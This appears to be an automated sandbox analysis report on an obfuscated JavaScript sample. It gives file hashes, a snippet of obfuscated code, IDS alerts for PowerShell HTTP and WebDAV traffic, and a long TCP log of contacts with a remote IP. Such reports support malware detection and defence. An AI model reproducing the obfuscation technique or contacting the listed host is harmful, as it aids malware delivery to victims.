Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14074), with CRLF line terminators
Entropy (8bit):	4.905445550763547
TrID:
File name:	1071116915318159767.js
File size:	17'616 bytes
MD5:	2a0c7534b38d3568fab81746a1408f8a
SHA1:	dad194e76a079c023a1a882b3945d3dc7c4fb8e4
SHA256:	46fad618713b93bd9701a63c54442eea0be4891652c256fd61645b47f4b22ef4
SHA512:	18e3be8f833fe9e0645bcdd509b3ed86a69798100bd76f87ad09dd65d1c5ae6943f32b55f42aa517977ddfd5f085de0c6b2daee750ffe201f0f31b40d82eaff1
SSDEEP:	384:8aMe3+J9S8AiatK1mtvUaQKV9hCvTHDx9:X3+patUmtvdQB
TLSH:	028244849E40EBEBFEF954F1951401B256BC02CE5F98E99C5D2C36D0ED0E9B95AC04F2
File Content Preview:	function mbeff(){bunnk=[1031,3079,5127,4103,2055,3072];var dgwibb=this[zqbwdqvt+xfznhqup+qfvrpqxju+tytgfxmty+dkbeefqvt+wdagxlq+yuste+lizqpyqm](this[hvtmfiryk+gqdjbi+lwdqqhly+qfvrpqxju+lxxhnkfq+zqbwdqvt+lizqpyqm][gejymux+qfvrpqxju+dkbeefqvt+xfznhqup+lizqpy

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:07:16.024234+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49725	193.143.1.205	80	TCP
2025-01-10T22:07:18.642551+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49726	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:07:15.184823036 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:15.189774990 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:15.189868927 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:15.193975925 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:15.198935986 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.023919106 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.024045944 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.024055958 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.024061918 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.024068117 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.024076939 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.024082899 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.024213076 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.024225950 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.024233103 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.024234056 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.024317026 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.029735088 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.029751062 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.029764891 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.029803991 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.080086946 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.084934950 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.084954977 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.085177898 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.149638891 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.149657011 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.149669886 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.149682999 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.149696112 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.149765015 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.149810076 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.149991989 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.150003910 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.150017023 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.150027037 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.150027990 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.150039911 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.150049925 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.150077105 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.150787115 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.150800943 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.150815964 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.150830030 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.150845051 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.150846004 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.150866032 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.151580095 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.151622057 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.151633978 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.151640892 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.151647091 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.151659966 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.151678085 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.151688099 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.153013945 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.205104113 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.217257977 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.217274904 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.217408895 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.262026072 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.262067080 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.262162924 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.262192011 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.262197971 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.262253046 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.274611950 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.274643898 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.274782896 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.275223017 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275343895 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275381088 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275403976 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.275417089 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275449991 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275458097 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.275504112 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275536060 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275547028 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.275572062 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275610924 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.275810957 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275852919 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275896072 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275897980 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.275938988 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275980949 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.275985003 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.276022911 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.276065111 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.276066065 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.276107073 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.276149988 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.276766062 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.276777983 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.276787996 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.276803017 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.276824951 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.276835918 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.276842117 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.276869059 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.276907921 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.276911974 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.276937008 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.276977062 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.277671099 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.277703047 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.277736902 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.277741909 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.277769089 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.277805090 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.277812958 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.277838945 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.277873039 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.277878046 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.277909040 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.277951002 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.278680086 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.278712988 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.278759956 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.278774023 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.278793097 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.278826952 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.278830051 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.278858900 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.278878927 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.278898954 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.330131054 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.345251083 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.345277071 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.345299959 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.345346928 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.349323034 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.349462032 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.388009071 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.388472080 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.388673067 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.388700962 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.388719082 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.389058113 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.389087915 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.389112949 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.389122963 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.389163971 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.396457911 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.401546955 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401575089 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401598930 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401613951 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401621103 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.401628971 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401643991 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401657104 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401659012 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.401673079 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401686907 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401700974 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401704073 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.401715994 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401725054 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.401730061 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401741982 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.401743889 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401761055 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401774883 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401774883 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.401791096 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401804924 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401808977 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.401819944 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401825905 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.401835918 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.401854992 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.402117014 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402142048 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402151108 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.402157068 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402172089 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402189016 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402194977 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.402204037 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402218103 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402225018 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.402231932 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402246952 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402254105 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.402260065 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402273893 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.402275085 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402290106 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.402318001 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.403053045 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403064966 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403078079 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403089046 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403098106 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.403106928 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403117895 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.403126001 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403137922 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403147936 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.403148890 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403162003 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403172970 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403184891 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403184891 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.403198957 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.403218985 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.403235912 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.404098988 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404110909 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404122114 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404134035 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404134035 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.404145002 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404156923 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404160023 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.404169083 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404179096 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404186010 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.404191017 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404201984 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404211044 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.404215097 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404226065 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404242039 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.404710054 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.404942989 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404959917 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404973030 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404979944 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.404984951 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.404995918 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.405009031 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.405014038 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.405021906 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.405046940 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.405061007 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.431971073 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.431993008 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.432007074 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.432018995 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.432033062 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.432063103 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.432112932 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.435849905 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.435870886 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.435884953 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.435906887 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.435945034 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.450790882 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.474489927 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.474528074 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.474561930 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.474596977 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.474632025 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.474656105 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.474667072 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.474687099 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.474706888 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.474853039 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.474884987 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.474925995 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.474936962 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.474968910 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.475003958 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.475004911 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.487422943 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487435102 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487446070 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487457991 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487468958 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487509012 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.487556934 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.487755060 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487767935 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487780094 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487791061 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487802029 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487813950 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487824917 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.487848043 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.487848997 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.513120890 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513143063 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513154030 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513164997 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513176918 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513180017 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.513187885 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513200998 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513212919 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513215065 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.513272047 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.513289928 CET	80	49725	193.143.1.205	192.168.2.5
